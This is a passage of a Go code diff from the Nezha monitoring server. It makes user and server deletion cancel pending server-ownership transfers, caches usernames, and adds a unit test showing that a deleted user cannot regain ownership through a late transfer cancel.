OnUserUpdate(u *model.User) { @@ -56,6 +83,7 @@ func OnUserUpdate(u *model.User) { UserInfoMap[u.ID] = model.UserInfo{ Role: u.Role, + Username: u.Username, AgentSecret: u.AgentSecret, } AgentSecretToUserId[u.AgentSecret] = u.ID @@ -69,6 +97,10 @@ func OnUserDelete(id []uint64, errorFunc func(string, ...any) error) error { return Localizer.ErrorT("user id not specified") } + if ServerTransferShared != nil { + ServerTransferShared.OnUsersDeleted(id) + } + var ( cron, server bool crons, servers []uint64 @@ -101,7 +133,7 @@ func OnUserDelete(id []uint64, errorFunc func(string, ...any) error) error { return err } - if err := tx.Where("id IN (?)", id).Delete(&model.User{}).Error; err != nil { + if err := tx.Where("id = ?", uid).Delete(&model.User{}).Error; err != nil { return err } return nil @@ -127,6 +159,11 @@ func OnUserDelete(id []uint64, errorFunc func(string, ...any) error) error { } } AlertsLock.Unlock() + // Cancel pending transfers before ServerShared drops the + // in-memory entry: same ordering rationale as batchDeleteServer. + if ServerTransferShared != nil { + ServerTransferShared.OnServersDeleted(servers) + } ServerShared.Delete(servers) } diff --git a/service/singleton/user_test.go b/service/singleton/user_test.go new file mode 100644 index 00000000..35f6ff9f --- /dev/null +++ b/service/singleton/user_test.go @@ -0,0 +1,90 @@ +package singleton + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" +) + +func setupOnUserDeleteFixture(t *testing.T) (*ServerTransferClass, func()) { + t.Helper() + c, transferCleanup := setupTransferFixture(t) + + require.NoError(t, DB.AutoMigrate(&model.Cron{}, &model.Transfer{}, &model.ServerGroupServer{})) + originalCronShared := CronShared + CronShared = &CronClass{ + class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}}, + } + + originalLocalizer := Localizer + Localizer = i18n.NewLocalizer("zh_CN", domain, "translations", i18n.Translations) + + cleanup := func() { + Localizer = originalLocalizer + CronShared = originalCronShared + transferCleanup() + } + return c, cleanup +} + +func TestOnUserDeleteCancelsPendingTransfersAwayFromDeletedUser(t *testing.T) { + c, cleanup := setupOnUserDeleteFixture(t) + defer cleanup() + + const fromUser = uint64(100) + const toUser = uint64(200) + const serverID = uint64(1) + + seedServerForTransfer(t, serverID, fromUser) + + require.NoError(t, DB.AutoMigrate(&model.User{})) + require.NoError(t, DB.Create(&model.User{ + Common: model.Common{ID: fromUser}, + Username: "alice", + AgentSecret: "alice-secret", + }).Error) + require.NoError(t, DB.Create(&model.User{ + Common: model.Common{ID: toUser}, + Username: "bob", + AgentSecret: "bob-secret", + }).Error) + UserLock.Lock() + UserInfoMap[fromUser] = model.UserInfo{Role: model.RoleMember, AgentSecret: "alice-secret"} + UserInfoMap[toUser] = model.UserInfo{Role: model.RoleMember, AgentSecret: "bob-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, serverID, fromUser, toUser, fromUser) + require.True(t, c.HasPending(serverID), "precondition: pending transfer published") + + srv, ok := ServerShared.Get(serverID) + require.True(t, ok) + require.Equal(t, toUser, srv.GetUserID(), "precondition: pending transfer flipped owner to ToUserID") + + require.NoError(t, OnUserDelete([]uint64{fromUser}, func(format string, args ...any) error { + return nil + })) + + if c.HasPending(serverID) { + t.Fatal("OnUserDelete on the transfer FromUserID must terminate the pending transfer so a later Cancel/Fail/Timeout cannot revert ownership to the deleted user") + } + + if srv, ok := ServerShared.Get(serverID); ok { + require.NotEqual(t, fromUser, srv.GetUserID(), + "server owner must not be reverted to the deleted FromUserID; got owner=%d", srv.GetUserID()) + } + + if _, err := c.Cancel(tr.ID); err == nil { + var refreshed model.ServerTransfer + if err := DB.First(&refreshed, tr.ID).Error; err == nil { + require.NotEqual(t, model.ServerTransferStatusPending, refreshed.Status, + "after OnUserDelete a subsequent Cancel must not leave the transfer Pending") + if srv, ok := ServerShared.Get(serverID); ok { + require.NotEqual(t, fromUser, srv.GetUserID(), + "a late Cancel against the terminated transfer must not revert server.UserID to the deleted FromUserID; got owner=%d", srv.GetUserID()) + } + } + } +}